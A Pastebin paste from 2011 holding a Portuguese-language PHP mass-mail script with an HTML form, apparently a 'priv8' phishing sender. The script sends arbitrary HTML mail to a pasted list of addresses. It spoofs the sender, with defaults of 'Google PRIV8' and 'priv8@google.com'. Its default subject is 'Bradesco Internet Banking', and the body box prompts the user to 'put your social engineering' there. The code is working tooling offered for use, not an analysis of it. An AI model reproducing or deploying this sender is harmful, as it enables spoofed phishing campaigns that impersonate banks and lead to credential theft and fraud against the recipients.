SHARE
TWEET

google priv8 sender

a guest Oct 29th, 2011 1,346 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $testa = $_POST['veio'];
  3. if($testa != "") {
  4.         $message = $_POST['html'];
  5.         $subject = $_POST['assunto'];
  6.         $nome = $_POST['nome'];
  7.         $de = $_POST['de'];
  8.         $to = $_POST['emails'];
  9.  
  10.         $headers  = "MIME-Version: 1.0\r\n";
  11.         $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  12.  
  13.         $email = explode("\n", $to);
  14.         $headers .= "From: ".$nome." <".$de.">\r\n";
  15.         $message = stripslashes($message);
  16.  
  17.         $i = 0;
  18.         $count = 1;
  19.         while($email[$i]) {
  20.                 $ok = "ok";
  21.                 if(mail($email[$i], $subject, $message, $headers))
  22.                 echo "* N&#250;mero: $count <b>".$email[$i]."</b> <font color=green>Google OK!</font><br><hr>";
  23.                 else
  24.                 echo "* N&#250;mero: $count <b>".$email[$i]."</b> <font color=red>Google ERROR!</font><br><hr>";
  25.                 $i++;
  26.                 $count++;
  27.         }
  28.         $count--;
  29.         if($ok == "ok")
  30.         echo "";
  31.  
  32. }
  33.  
  34. ?>
  35. <html>
  36. <head>
  37. <title>:: ENVIADORES GOOGLE - PRIV8 ::</title>
  38. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  39. <style>
  40. body {
  41.         margin-left: 0;
  42.         margin-right: 0;
  43.         margin-top: 0;
  44.         margin-bottom: 0;
  45. }
  46. .titulo {
  47.         font-family: Arial, Helvetica, sans-serif;
  48.         font-size: 70px;
  49.         color: #000000;
  50.         font-weight: bold;
  51. }
  52.  
  53. .normal {
  54.         font-family: Arial, Helvetica, sans-serif;
  55.         font-size: 12px;
  56.         color: #000000;
  57. }
  58.  
  59. .form {
  60.         font-family: Arial, Helvetica, sans-serif;
  61.         font-size: 10px;
  62.         color: #333333;
  63.         background-color: #FFFFFF;
  64.         border: 1px dashed #666666;
  65. }
  66.  
  67. .texto {
  68.         font-family: Verdana, Arial, Helvetica, sans-serif;
  69.         font-weight: bold;
  70. }
  71.  
  72. .alerta {
  73.         font-family: Verdana, Arial, Helvetica, sans-serif;
  74.         font-weight: bold;
  75.         color: #990000;
  76.         font-size: 10px;
  77. }
  78. </style>
  79. </head>
  80. <body>
  81. <form action="" method="post" enctype="multipart/form-data" name="form1">
  82.   <input type="hidden" name="veio" value="sim">
  83.   <table width="590" height="511" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
  84.     <tr>
  85.       <td width="588" height="25" align="center" bgcolor="#FFFFFF"><span class="titulo"><font color="#0000FF" face="Verdana, Arial, Helvetica, sans-serif">G</font><font color="#FF0000" face="Verdana, Arial, Helvetica, sans-serif">o</font><font color="#FFFF00" face="Verdana, Arial, Helvetica, sans-serif">o</font><font color="#0000FF" face="Verdana, Arial, Helvetica, sans-serif">g</font><font color="#009900" face="Verdana, Arial, Helvetica, sans-serif">l</font><font color="#FF0000" face="Verdana, Arial, Helvetica, sans-serif">e</font><font color="#FF0000"><font color="#000000" size="2" face="Verdana, Arial, Helvetica, sans-serif"> <strong>PRIV8<br>
  86.         </strong></font></font></span></td>
  87.     </tr>
  88.     <tr>
  89.       <td height="194" valign="top" bgcolor="#FFFFFF">
  90.                 <table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
  91.                   <tr>
  92.             <td align="right" height="17"><span class="texto"><font size="3">De:<br>
  93.               <br>
  94.             E-mail:</font>            </span></td>
  95.             <td width="65%" height="17">
  96.                         <input name="nome" type="text" class="form" id="nome" style="width:50%" value="Google PRIV8" size="1" >
  97.                         <br>
  98.                         <br>
  99.                         <input name="de" type="text" class="form" id="de" style="width:49%" value="priv8@google.com" size="1"></td>
  100.           </tr>
  101.           <tr>
  102.             <td align="right" height="20"><font size="3"><span class="texto"><br>
  103.             Assunto:</span></font></td>
  104.             <td height="17">
  105.                           <br>
  106.                     <input name="assunto" type="text" class="form" id="assunto" style="width:100%" value="Bradesco Internet Banking" size="1" ></td>
  107.           </tr>
  108.           <tr align="center" bgcolor="#FFFFFF">
  109.             <td height="17" colspan="2"><span class="texto"><font size="3"><br>
  110.               C&oacute;digo
  111.             HTML:<br>
  112.             </font></span></td>
  113.           </tr>
  114.           <tr align="right">
  115.             <td height="146" colspan="2" valign="top"><br>
  116.              <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="1">Coloque sua Engenharia.
  117. </textarea>
  118.               <span class="alerta"><font color="#FF0000">*TEXTO EM HTML</font></span></td>
  119.  
  120.  
  121.  
  122.           </tr>
  123.           <tr align="center" bgcolor="#FFFFFF">
  124.             <td height="47" colspan="2"><p><span class="texto"><font size="3">Lista
  125.             de emails:</font></span></td>
  126.           </tr>
  127.           <tr align="right">
  128.             <td height="136" colspan="2" valign="top"><font color="#003399"><br>
  129.                 <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="1">gkstar1@uol.com.br
  130. gkstar1@terra.com.br
  131. </textarea>
  132.                 <span class="alerta"><font color="#FF0000">*SEPARADO POR QUEBRA DE LINHA</font></span></font></td>
  133.           </tr>
  134.           <tr>
  135.             <td height="26" colspan="2" align="right" valign="top" bgcolor="#FFFFFF"><div align="center">
  136.               <input type="submit" name="Submit" value="[__________+++Google Sender+++__________]">
  137.             </div></td>
  138.           </tr>
  139.         </table>
  140.           </td>
  141.     </tr>
  142.     <tr>
  143.       <td height="15" align="center" bgcolor="#FFFFFF"><font size="4" face="Verdana, Arial, Helvetica, sans-serif"><strong>.............................PowereD
  144.       bY r00t.............................</strong></font></td>
  145.     </tr>
  146.   </table>
  147.   <div align="left"></div>
  148. </form>
  149. </body>
  150.  
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top